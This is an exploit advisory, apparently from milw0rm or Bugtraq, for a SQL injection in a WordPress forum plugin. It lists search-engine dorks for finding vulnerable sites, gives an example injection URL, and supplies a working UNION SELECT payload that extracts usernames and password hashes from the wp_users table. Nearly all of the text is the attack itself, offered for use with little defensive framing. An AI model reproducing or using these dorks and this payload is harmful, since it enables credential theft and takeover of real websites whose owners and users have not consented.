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###############################################################
#
# Wordpress FORUM ALL VERS&#304;ON SQL Injection
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MA&#304;L : hackturkiye.hackturkiye@xxxxxxxxx
#
#
################################################################
#
# DORK 1 : allinurl: forum page_id "topic"
#
# DORK 2 : allinurl: page_id "topic"
#
################################################################

admin pass and name small soo
attacker can see username and pass word under page HOME > FORUMS > name and pass here

admin ismi ve &#351;ifre ufak yaz&#305;yo sayfa alt&#305;nda hemen forumun üst k&#305;m&#305;nda

#################################################################

EXAMPLE= after "forum" inject EXPLO&#304;T

http://www.xxxxxx/?page_id=xxx&forum= [EXPLO&#304;T]

EXPLOIT :

S@BUN&topic=−1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,0,0,0,0,0/**/from%2F%2A%2A%2Fwp_users/**where%20id%201%20=%20−1

################################################################
# S@BUN i AM NOT HACKER S@BUN
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http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2008-02/msg00239.html
mailto:hackturkiye.hackturkiye@DOMAIN.HIDDEN
http://www.milw0rm.com/author/1334
http://www.xxxxxx/?page_id=xxx&amp;forum=


################################################################
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